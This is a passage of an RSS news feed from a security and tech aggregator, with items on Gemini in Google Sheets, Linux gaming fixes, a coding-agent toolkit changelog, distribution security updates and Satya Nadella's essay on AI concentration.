href="https://support.google.com/mail/answer/15604322?sjid=17363988672514456782-NA#gw&amp;zippy=%2Csmart-features-in-google-workspace%2Cwhat-are-googles-legal-bases-of-processing-for-users-in-the-european-economic-area-united-kingdom-or-switzerland%2Chow-long-is-your-workspace-content-activity-used-to-provide-smart-features-and-to-improve-these-features" target="_blank">Workspace smart features</a> enabled to take advantage of these features. Eligible users will see the Gemini icon in the Sheets side panel. Simply describe the spreadsheet or edit you need to begin collaborating. Visit the Help Center to <a href="https://support.google.com/docs/answer/16959434" target="_blank">learn more about building and editing spreadsheets with Gemini in Sheets</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="http://knowledge.workspace.google.com/admin/releases/choose-when-users-get-new-features?visit_id=639173870637934581-3789384858&amp;rd=1" target="_blank">Rapid Release and Scheduled Release domains</a>: Available now</li></ul></div><h3>Availability</h3><div><ul><li><b>Business: </b>Business Standard and Plus</li><li><b>Enterprise: </b>Enterprise Standard and Plus</li><li><b>Consumer: </b>Google AI Pro and Ultra</li><li><b>Education Add-ons:</b> Google AI Pro for Education</li><li><b>Other Add-ons:</b> AI Expanded Access</li></ul></div><div><i>Note: Through July 15, 2026, Workspace customers get promotional access to higher limits for the improved Gemini in Sheets experience. Per-user usage limits will apply after July 15; we’ll provide more information in the <a href="https://support.google.com/a?p=limits" target="_blank">Help Center</a> in advance of updated usage limits going into effect.</i></div><h3>Resources</h3><div><ul><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/16959434" target="_blank">Build or edit entire spreadsheets with Gemini in Sheets</a></li><li>Workspace Updates Blog: <a href="https://workspaceupdates.googleblog.com/2026/04/build-and-edit-complex-spreadsheets-with-Gemini-in-Google-Sheets.html" target="_blank">Build and edit complex spreadsheets with Gemini in Google Sheets</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How A.I. Apps Teach Students How to Cheat]]></title>
<description><![CDATA[Big tech companies and small start-ups are using social media to hype new tools that allow students to trick teachers and A.I. detectors.]]></description>
<link>https://tsecurity.de/de/3607231/ai-nachrichten/how-ai-apps-teach-students-how-to-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607231/ai-nachrichten/how-ai-apps-teach-students-how-to-cheat/</guid>
<pubDate>Thu, 18 Jun 2026 11:33:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big tech companies and small start-ups are using social media to hype new tools that allow students to trick teachers and A.I. detectors.]]></content:encoded>
</item>
<item>
<title><![CDATA[Valve update Proton Hotfix for ARC Raiders compatibility on Linux / SteamOS]]></title>
<description><![CDATA[Recently we covered the extraction shooter ARC Raiders breaking on Linux for a lot of players due to the new Denuvo Anti-Cheat - and now it should work again.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3606965/linux-tipps/valve-update-proton-hotfix-for-arc-raiders-compatibility-on-linux-steamos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606965/linux-tipps/valve-update-proton-hotfix-for-arc-raiders-compatibility-on-linux-steamos/</guid>
<pubDate>Thu, 18 Jun 2026 09:38:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Recently we covered the extraction shooter ARC Raiders breaking on Linux for a lot of players due to the new Denuvo Anti-Cheat - and now it should work again.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1759368796id29236gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/valve-update-proton-hotfix-for-arc-raiders-compatibility-on-linux-steamos/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Artificial Intelligence Cheat Sheet: Best AI Tools, Major Trends, and What’s Next]]></title>
<description><![CDATA[A plain-English guide to AI in 2026, including top chatbots, free AI tools, humanoid robots, key terms, and what comes next.]]></description>
<link>https://tsecurity.de/de/3606050/it-nachrichten/artificial-intelligence-cheat-sheet-best-ai-tools-major-trends-and-whats-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606050/it-nachrichten/artificial-intelligence-cheat-sheet-best-ai-tools-major-trends-and-whats-next/</guid>
<pubDate>Wed, 17 Jun 2026 22:47:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A plain-English guide to AI in 2026, including top chatbots, free AI tools, humanoid robots, key terms, and what comes next.]]></content:encoded>
</item>
<item>
<title><![CDATA[v16.0.3]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Exported renderDelimitedThinking from the @oh-my-pi/pi-ai/dialect barrel so consumers can reuse the dialect's  envelope unwrap-and-rewrap logic (the only ./dialect/rendering primitive re-exported; the rest stay dialect-internal).

Fixed

Fixed OpenAI Responses/Codex tool sc...]]></description>
<link>https://tsecurity.de/de/3603377/tools/v1603/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603377/tools/v1603/</guid>
<pubDate>Wed, 17 Jun 2026 02:23:16 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Exported <code>renderDelimitedThinking</code> from the <code>@oh-my-pi/pi-ai/dialect</code> barrel so consumers can reuse the dialect's <code>&lt;thinking&gt;</code> envelope unwrap-and-rewrap logic (the only <code>./dialect/rendering</code> primitive re-exported; the rest stay dialect-internal).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed OpenAI Responses/Codex tool schema normalization stripping provider-rejected regex lookaround patterns from MCP tool parameter schemas. (<a href="https://github.com/can1357/oh-my-pi/issues/2784" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2784/hovercard">#2784</a>)</li>
<li>Fixed OpenAI Responses parallel tool-call routing so late keyed argument deltas for a closed call are dropped instead of being appended to another open call.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added support for LaTeX color commands (<code>\textcolor</code>, <code>\colorbox</code>, and <code>\fcolorbox</code>) in user-visible terminal prose and final chat to colorize output</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed STT dependency setup to validate recorder and model assets per <code>stt.modelName</code>, so switching speech models re-runs dependency checks and downloads for the new model</li>
<li>Changed STT startup with cached models to warm the speech model in the background and defer full model loading until transcription begins, reducing push-to-talk start latency</li>
<li>Allowed user-visible terminal and final-chat responses to include LaTeX math delimiters/commands and Mermaid <code>```mermaid</code> diagrams</li>
<li>Changed the hold-<code>Space</code> push-to-talk gesture to recognize a held bar from the <em>regularity</em> of the OS key auto-repeat rather than a raw space count or speed alone, so it no longer spams the editor, no longer eats deliberate space taps, and no longer triggers when the bar is smashed. Recording starts only after two consecutive inter-space deltas are "mechanical" — both fast (within ~120 ms) and near-identical, the metronomic signature of auto-repeat; the few pre-burst spaces typed are then tracked back out. Smashing (fast but jittery) and deliberate spacing (steady but slow) both keep typing real spaces and never start recording.</li>
<li>Updated markdown Mermaid rendering to color ASCII diagrams with the active theme and automatically choose a narrower layout that better fits the terminal width</li>
<li>Made the watched-session transcript sent to the advisor (and shown by <code>/advisor dump</code>) clearer: each turn now opens with a <code>### Session update</code> heading; watched-agent roles render as inline <code>**agent**:</code> / <code>**user**:</code> labels instead of level-2 headings that collided with the advisor's own turns; consecutive same-role messages collapse under one label (the watched agent emits one assistant message per tool call); and batched updates are joined by a blank line rather than a <code>---</code> rule.</li>
<li>Changed the compact transcript tool-intent prefix (<code>history://</code>, <code>/advisor dump</code>) from <code># </code> to <code>// </code> so intent lines read as comments instead of rendering as Markdown H1 headings.</li>
<li>Changed the advisor advice injected into the primary transcript from a <code>Advisor (...): - [severity] note</code> prose block to one <code>&lt;advisory severity="…" guidance="weigh, don't blindly obey"&gt;…&lt;/advisory&gt;</code> element per note, with XML-escaped bodies. (Relocated the shared <code>escapeXmlText</code> helper to <code>@oh-my-pi/pi-utils</code>.)</li>
<li>Reverted <code>/dump</code> and <code>/advisor dump raw</code> to the pre-16.x full verbose dump: system prompt, model/thinking config, tool inventory with parameters, and the message transcript rendered with markdown role headings (<code>## User</code>, <code>## Assistant</code>, <code>### Tool Call: &lt;name&gt;</code> with the call's <code>_i</code> intent as a <code>//</code> comment under the heading and the remaining arguments as a fenced YAML block, <code>### Tool Result: &lt;name&gt;</code>, plus <code>## Bash Execution</code>/<code>## File Mention</code>/summary sections) instead of the model's native-dialect turn envelopes and <code>&lt;invoke&gt;</code>/<code>&lt;parameter&gt;</code> XML tool calls. Dropped the compact default and the <code>[raw]</code> flag on <code>/dump</code>; the compact <code>→ tool(...) ⇒ ok</code> history format is no longer reachable from <code>/dump</code>. <code>/advisor dump</code> still defaults to compact, and <code>/advisor dump raw</code> now renders the same markdown dump (previously the model's native-dialect envelopes).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Whisper STT cache detection to require both encoder and decoder <code>.onnx</code> files, so partial model downloads now trigger a proper foreground download instead of being treated as fully cached</li>
<li>Fixed same-process <code>JsRuntime</code> cleanup so disposing an older inline/direct runtime no longer deletes a newer runtime's JS helper globals; inactive cmux/direct runtimes now re-activate their globals before sequential use while overlapping cross-runtime runs fail explicitly.</li>
<li>Fixed magic-keyword steering notices (<code>ultrathink-notice</code>, <code>orchestrate-notice</code>, <code>workflow-notice</code>) to be prepended before the related user message so they influence that same turn</li>
<li>Fixed dequeuing or popping queued user messages to remove their preceding hidden magic-keyword notice companions, preventing orphaned queued notices</li>
<li>Fixed queued user steers to auto-resume after interrupts even when the transcript tail is a preserved advisor card or other non-conversational custom message</li>
<li>Fixed queued user follow-up messages to remain queued after an interrupt and only run on explicit resume, even when an IRC wake leaves a provider-valid tail</li>
<li>Fixed stranded IRC asides to wake a response turn after interruption instead of remaining pending</li>
<li>Fixed accepted IRC asides to be flushed into the transcript during disposal instead of being discarded</li>
<li>Fixed interactive submissions made while the TUI had no active input waiter: they now start a real prompt directly, with steer fallback if a background turn races in, instead of queueing behind a non-resumable idle transcript and appearing to do nothing.</li>
<li>Fixed pressing Esc (or Alt+Up dequeue) while agent-authored messages were queued — advisor concern/blocker notes, hidden goal/plan/budget steers, IRC/extension asides — dumping their text into the user's editor. Editor restoration (<code>clearQueue()</code>), pending chips (<code>getQueuedMessages()</code>), and <code>popLastQueuedMessage()</code> now surface only genuinely user-authored queued messages (plain user turns and <code>attribution: "user"</code> custom messages like <code>/skill</code>). Plain Alt+Up dequeue leaves all other queued messages in place for the continuing stream; only the Esc interrupt path keeps just advisor cards (so abort's preservation still re-records them as visible advice) and drops other internal steers, so a user interrupt can't be silently undone by an auto-resume on leftover internal context. <code>queuedMessageCount</code> still reflects all actual queued work (advisor cards included) so <code>hasPendingMessages()</code>/RPC and the empty-submit abort gate stay accurate.</li>
<li>Fixed advisor <code>concern</code>/<code>blocker</code> advice being withheld from the running agent and then dumped as one burst at the next user prompt after a deliberate interrupt. A user interrupt latches advisor auto-resume suppression, but a non-user resume (synthetic/auto-continue, or a queued steer draining after the abort) leaves the run streaming with that latch still set, so every interrupting note was parked hidden in the next-turn queue instead of steered into the live turn — the agent never heard the advisor mid-run and the backlog flushed all at once on the next prompt. Suppression now only withholds interrupting advice while the agent is idle (or still tearing the interrupted turn down); once a turn is streaming again the note is steered in live, since steering an active run never auto-resumes a stopped one. A concern that strands in the steer queue past the resumed turn's final poll is reclaimed as visible advice when the agent settles (mirroring abort), so it neither auto-resumes the stopped run nor lingers to flush at the next prompt.</li>
<li>Fixed <code>omp --continue</code>/<code>-c</code> sometimes resuming into a subagent transcript instead of the interactive session. Subagent (and HTML-export) <code>SessionManager.open()</code> calls run in the parent's terminal and were clobbering the per-TTY <code>--continue</code> breadcrumb with their own artifact-dir session file; these headless opens now suppress the breadcrumb. <code>continueRecent()</code> also recovers already-poisoned breadcrumbs by resolving any session file inside a parent's artifacts dir (<code>&lt;parent&gt;/&lt;agentId&gt;.jsonl</code>) back up to the top-level session.</li>
<li>Fixed the Agent Hub stacking duplicate <code>Agent Hub · N running</code> frames and stranding garbage rows in scrollback while navigating with subagents still streaming. The hub was a non-fullscreen overlay composited over a live transcript, so each time a running subagent's progress grew the frame and scrolled the window the previously-painted hub copy was pushed permanently into the terminal's native scrollback (which the engine can't rewrite). It now renders inline in the editor slot — the same anchored region every other selector and the <code>ask</code> tool use — riding the normal append-only commit path, so the transcript commits above it exactly once and the hub repaints in place instead of leaking copies. (Avoids borrowing the alternate screen.)</li>
<li>Fixed every subagent registering itself as its own parent in the agent registry (<code>parentId === id</code>), so the Agent Hub rendered each agent as <code>sub · of &lt;itself&gt;</code> and the ←← parent-navigation gesture looped on the same agent. The SDK was reusing <code>parentTaskPrefix</code> — the agent's own artifact/output-id prefix — as the registry parent link; spawns now pass a separate <code>parentAgentId</code> (the spawning agent's id: <code>Main</code> for top-level <code>task</code> spawns, the parent subagent for nested spawns and eval <code>agent()</code>, the focused agent for <code>/tan</code>) and the registry records that as the parent.</li>
<li>Fixed messaging a <code>parked</code> subagent that was restored from disk (Agent Hub scan, or a resumed/restarted session) failing with <code>cannot be revived (no reviver registered)</code> even though its transcript was intact. Such refs carry a session file but no in-memory reviver — the executor's live reviver closure dies with the spawning turn/process — so IRC sends and Agent Hub focus refused them. <code>AgentLifecycleManager.ensureLive</code> now cold-revives them through a persisted-subagent reviver factory (installed by the top-level interactive/RPC session) that rebuilds the subagent from its JSONL the way <code>--resume</code> rebuilds a session: it reopens the file and replays it through <code>createAgentSession</code>, but sources the runtime contract from a now-readable <code>session_init</code> record (<code>SessionManager.peekSessionInit</code>) so tools, system prompt, output schema, and kind are restored rather than resurrected as a default top-level session. <code>session_init</code> now also persists the effective <code>spawns</code> allowlist and read-summarization flag so a cold revive keeps the original capability surface (old files without them deny re-spawning rather than defaulting to wildcard). Isolated runs and pre-<code>session_init</code> files whose recorded workspace no longer exists stay transcript-only (<code>history://</code>).</li>
<li>Fixed the terminal window-title OSC writes (<code>setTerminalTitle</code>/<code>pushTerminalTitle</code>/<code>popTerminalTitle</code>) leaking escape sequences to a developer's terminal during <code>bun test</code>; they now skip when the terminal is headless (the test-runtime default), matching the <code>ProcessTerminal</code> render/probe suppression so interactive-mode tests no longer paint to the real terminal</li>
<li>Fixed empty CLI sessions being retained after opening <code>omp</code> and exiting without a prompt (<a href="https://github.com/can1357/oh-my-pi/issues/2800" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2800/hovercard">#2800</a>).</li>
<li>Fixed <code>hooks/pre/*.ts</code> and <code>hooks/post/*.ts</code> files discovered through <code>hookCapability</code> being registered in discovery but never loaded into the extension runner, so their <code>tool_call</code> handlers now run without a manual <code>settings.json</code> <code>extensions</code> entry (<a href="https://github.com/can1357/oh-my-pi/issues/2796" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2796/hovercard">#2796</a>).</li>
<li>Fixed startup model fallback choosing the plain OpenAI <code>gpt-5.5</code> provider before the Codex OAuth provider when both shared the same default model id, which could surface a misleading OpenAI 401 despite valid Codex credentials (<a href="https://github.com/can1357/oh-my-pi/issues/2807" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2807/hovercard">#2807</a>).</li>
<li>Fixed local auto-thinking classification for reasoning-capable tiny models by giving them the same safe answer budget as online reasoning classifiers, with a larger local floor for non-reasoning tiny models (<a href="https://github.com/can1357/oh-my-pi/issues/2808" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2808/hovercard">#2808</a>).</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the built-in <code>render_mermaid</code> tool and its <code>renderMermaid.enabled</code> setting, so it can no longer be invoked directly</li>
</ul>
<h2>@oh-my-pi/collab-web</h2>
<h3>Removed</h3>
<ul>
<li>Removed rendering support for the <code>render_mermaid</code> tool from the web tool registry</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added <code>\tfrac</code> support to stacked display-math rendering so it now displays as a vertical fraction in <code>latexToBlock</code> output</li>
<li>Added markdown parsing for own-line display-math blocks (<code>$$...$$</code> and <code>\[...\]</code>) and delimiter-free <code>\begin{...}...\end{...}</code> math environments so block equations render via LaTeX-to-Unicode</li>
<li>Added stacked rendering of display-math fractions (<code>\frac</code>, <code>\dfrac</code>, <code>\cfrac</code>): the numerator is drawn over a horizontal bar over the denominator, with surrounding terms and <code>align</code>/<code>equation</code>-style environment rows aligned to the bar. Triggered for own-line <code>$$</code>/<code>\[</code> blocks, bare <code>\begin{...}</code> environments, and a paragraph whose sole content is a single display-math span; inline <code>$...$</code> fractions stay single-line (<code>½</code>, <code>(a+b)/c</code>)</li>
<li>Added bare math auto-rendering in <code>renderMathInText</code> for math-shaped lines and math environment blocks that omit <code>$</code>/<code>\(</code> delimiters</li>
<li>Added LaTeX-to-Unicode rendering for markdown math spans, converting <code>$$...$$</code>, <code>$...$</code>, <code>\(...\)</code>, and <code>\[...\]</code> into readable Unicode in Markdown output</li>
<li>Exported LaTeX conversion helpers from the package entrypoint so consumers can call <code>latexToUnicode</code>, <code>latexToBlock</code>, <code>renderMathInText</code>, <code>inlineMathSpanEnd</code>, and <code>isBareMathEnvironment</code> directly</li>
<li>Expanded LaTeX-to-Unicode conversion coverage for additional math fonts, delimiters, extensible arrows, layout environments, cancel/brace annotations, references, and AMS symbols</li>
<li>Added ANSI color rendering for LaTeX <code>\textcolor</code>, scoped <code>\color</code>, <code>\colorbox</code>, and <code>\fcolorbox</code>, including xcolor/CSS color parsing and truecolor/256-color terminal output</li>
<li>Added an optional <code>maxWidth</code> parameter to <code>MarkdownTheme.resolveMermaidAscii</code> to allow diagram resolvers to fit ASCII output to the available content width</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed markdown math rendering to preserve multiline layout for display equations, keeping <code>\\</code> row breaks as separate output lines (including inside list items)</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>alignat</code>/<code>alignedat</code>/<code>gatheredat</code> rendering in <code>latexToBlock</code> so the required <code>{n}</code> preamble is not rendered as visible math content</li>
<li>Fixed math parsing to leave non-math LaTeX snippets (for example <code>\begin{itemize}</code>) and fenced code blocks as literal text instead of rendering them as math</li>
<li>Fixed <code>renderInlineMarkdown</code> to handle top-level display-math tokens so raw <code>$$...$$</code> delimiters are no longer leaked</li>
<li>Fixed inline math span detection so escaped dollars and currency-like patterns (such as <code>$5</code> and <code>$10</code>) are not converted as math</li>
<li>Fixed Mermaid diagram rendering in Markdown code blocks to clip each ASCII line to content width before wrapping, preventing preformatted diagram rows from fragmenting</li>
<li>Fixed fullscreen overlays losing keyboard focus to hidden prompt surfaces, which could make settings unresponsive while a background approval request was pending (<a href="https://github.com/can1357/oh-my-pi/issues/2789" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2789/hovercard">#2789</a>).</li>
<li>Fixed <code>bun test</code> runs inside a real terminal leaking TUI output: <code>ProcessTerminal</code> now honors a headless test-runtime default, so frame paints, <code>start()</code> capability probes (OSC 11 / DA1 / kitty), the progress keepalive, notifications, and teardown escapes no longer reach the developer's terminal, and stdin raw mode is never engaged. Previously <code>#safeWrite</code> only skipped on <code>!process.stdout.isTTY</code>, so a developer running the suite in an interactive terminal saw stray status/editor boxes and probe queries. Terminal-contract suites opt back into real I/O via <code>setTerminalHeadless(false)</code></li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added <code>escapeXmlText</code> utility to escape XML-significant characters <code>&amp;</code>, <code>&lt;</code>, and <code>&gt;</code> in element body text</li>
<li>Added <code>isTerminalHeadless()</code> / <code>setTerminalHeadless()</code> to centrally suppress real-terminal side effects (stdout escape/frame writes, stdin raw mode, CSI/OSC capability probes, SIGWINCH, window-title changes, emergency restore) under the test runtime. Defaults on when <code>bun test</code> sets <code>NODE_ENV=test</code>; terminal-contract tests opt out via <code>setTerminalHeadless(false)</code></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(tui): keep overlay focus above hidden prompts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4676940403" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2795" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2795/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2795">#2795</a></li>
<li>fix(coding-agent): load discovered hook factories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677385980" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2798" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2798/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2798">#2798</a></li>
<li>fix(cli): skip empty session persistence by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677808827" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2804" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2804/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2804">#2804</a></li>
<li>fix(coding-agent): prefer Codex default auth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678553738" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2810" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2810/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2810">#2810</a></li>
<li>fix(coding-agent): expand local auto-thinking classifier budget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678723092" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2814" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2814/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2814">#2814</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v16.0.2...v16.0.3"><tt>v16.0.2...v16.0.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ARC Raiders is broken for some Linux / SteamOS players - but a fix is on the way]]></title>
<description><![CDATA[Embark Studios rolled out a new update for ARC Raiders, which includes more people moved over to Denuvo Anti-Cheat that's causing problems on Linux / SteamOS.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3603162/linux-tipps/arc-raiders-is-broken-for-some-linux-steamos-players-but-a-fix-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603162/linux-tipps/arc-raiders-is-broken-for-some-linux-steamos-players-but-a-fix-is-on-the-way/</guid>
<pubDate>Tue, 16 Jun 2026 23:09:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Embark Studios rolled out a new update for ARC Raiders, which includes more people moved over to Denuvo Anti-Cheat that's causing problems on Linux / SteamOS.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/93205118id29227gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/arc-raiders-is-broken-for-some-linux-steamos-players-but-a-fix-is-on-the-way/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (mod_http2, postfix, and webkit2gtk3), Debian (bird2, libgd-perl, and libreoffice), Fedora (7zip, ack, hugo, and perl-Mojo-JWT), Mageia (atril, evince, xreader, emacs, lcms2, libgcrypt, libinput, libsndfile, putty, and sudo), Red Hat (openssl and osb...]]></description>
<link>https://tsecurity.de/de/3601923/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601923/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 16 Jun 2026 15:11:11 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (mod_http2, postfix, and webkit2gtk3), <b>Debian</b> (bird2, libgd-perl, and libreoffice), <b>Fedora</b> (7zip, ack, hugo, and perl-Mojo-JWT), <b>Mageia</b> (atril, evince, xreader, emacs, lcms2, libgcrypt, libinput, libsndfile, putty, and sudo), <b>Red Hat</b> (openssl and osbuild-composer), <b>SUSE</b> (cheat, chromedriver, containerized-data-importer, cyrus-imapd, freeipmi, graphicsmagick, java-11-openj9, java-17-openj9, kitty, kubevirt, kubevirt-1.6, libcaca, libopenssl-3-devel, librav1e0_8, neonmodem, opensc, openssh, openssl-1_0_0, openssl-1_1, openssl-3, perl-HTTP-Daemon, perl-XML-LibXML, python-python-dotenv, python311-paramiko, python311-PyJWT, python311-starlette, python311-tornado6, qemu, restic, and trivy), and <b>Ubuntu</b> (adsys, cups, fastnetmon, freerdp2, freerdp3, mesa, nginx, rsync, ruby2.3, ruby2.5, and tmux).]]></content:encoded>
</item>
<item>
<title><![CDATA[Satya Nadella warns that AI could hollow out entire industries, echoing the damage done by globalization]]></title>
<description><![CDATA[Microsoft CEO Satya Nadella published a sweeping essay on Sunday laying out what he describes as the defining economic challenge of the AI era: the risk that a handful of frontier models will absorb the expertise of entire industries and commoditize it, leaving businesses stripped of their compet...]]></description>
<link>https://tsecurity.de/de/3600170/it-nachrichten/satya-nadella-warns-that-ai-could-hollow-out-entire-industries-echoing-the-damage-done-by-globalization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600170/it-nachrichten/satya-nadella-warns-that-ai-could-hollow-out-entire-industries-echoing-the-damage-done-by-globalization/</guid>
<pubDate>Mon, 15 Jun 2026 22:34:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft CEO Satya Nadella <a href="https://x.com/satyanadella/status/2066182223213293753">published a sweeping essay</a> on Sunday laying out what he describes as the defining economic challenge of the AI era: the risk that a handful of frontier models will absorb the expertise of entire industries and commoditize it, leaving businesses stripped of their competitive moats.</p><p>"The last thing any of us want is a world where every company across every sector is ceding value to a few models that eat everything they see," Nadella wrote in the piece, titled "A frontier without an ecosystem is not stable," which he posted on X. "If all the value is accrued by only a few models, the political economy will simply not tolerate it. There is no societal permission for an AI future that hollows out entire industries."</p><p>The essay is unusually philosophical for a sitting CEO of a $3 trillion technology company. But it arrives at a moment when the theoretical risks Nadella describes are becoming tangible — and, critically, when Microsoft itself is grappling with the very dynamics he warns about.</p><h2>Nadella introduces "token capital" as the new currency of enterprise AI strategy</h2><p>At the center of Nadella's essay sits a conceptual framework built on two pillars he calls "<a href="https://x.com/satyanadella/status/2066182223213293753">human capital</a>" and "<a href="https://x.com/satyanadella/status/2066182223213293753">token capital</a>." Human capital, he writes, "comprises the knowledge, judgment, relationships, ingenuity, and pattern recognition of its people," while token capital refers to "the firm's AI capability it builds and owns."</p><p>The two are not in tension, he insists. "Importantly, human capital does not become less valuable as token capital grows. It only becomes more valuable!" he writes. "I believe human agency will be the driver of token capital growth. Humans will set ambitious goals, connect dots across domains, build relationships, and recognize patterns that matter most. Without human direction, you have compute running in circles."</p><p>This framing is a deliberate counterweight to the narrative that <a href="https://hub.jhu.edu/2026/02/23/will-ai-make-human-workers-obsolete/">AI will simply replace human workers</a> or, at the enterprise level, dissolve the intellectual property that differentiates one company from another. Nadella is arguing that the real danger is not AI's capability but its tendency to centralize — and that the solution requires a fundamentally new architecture for how businesses interact with the technology.</p><p>He describes the real opportunity as "not in picking the best model but instead in building a learning loop on top of models where human capital and token capital compound." The key test of a company's sovereignty in this new era, he writes, is whether it can "switch out a 'generalist' model without losing the 'company veteran' expertise built into their learning system."</p><p>This is the essay's most actionable claim — and its most provocative. Nadella is telling enterprises they need to decouple their institutional intelligence from whatever frontier model they happen to be running, creating portable knowledge systems that survive vendor changes.</p><h2>Why Nadella is comparing AI concentration to the outsourcing crisis that gutted industrial economies</h2><p>Nadella draws a pointed historical parallel to make his warning concrete. "Think about what happened in the first phase of globalization where entire industrial economies were hollowed out by outsourcing," he writes. "The GDP numbers looked fine on the surface, but the displacement was real and the consequences are still being felt. Let us not bring that dynamic into the AI era, with a small number of AI systems capturing all the economic returns, while entire industries find their knowledge commoditized right out from underneath them."</p><p>The globalization analogy is not accidental. It reframes the AI concentration debate from a narrow technology question into a political-economy argument — one that regulators, policymakers, and voters can grasp. By invoking the social costs of offshoring, Nadella is signaling that the stakes extend well beyond the enterprise technology stack. He is warning that if the AI industry fails to distribute value broadly, the political system will intervene to force the issue.</p><p>"In my view, our priority has to be building a frontier ecosystem, not just a frontier model, so value flows broadly across every company, every industry, and every country," he 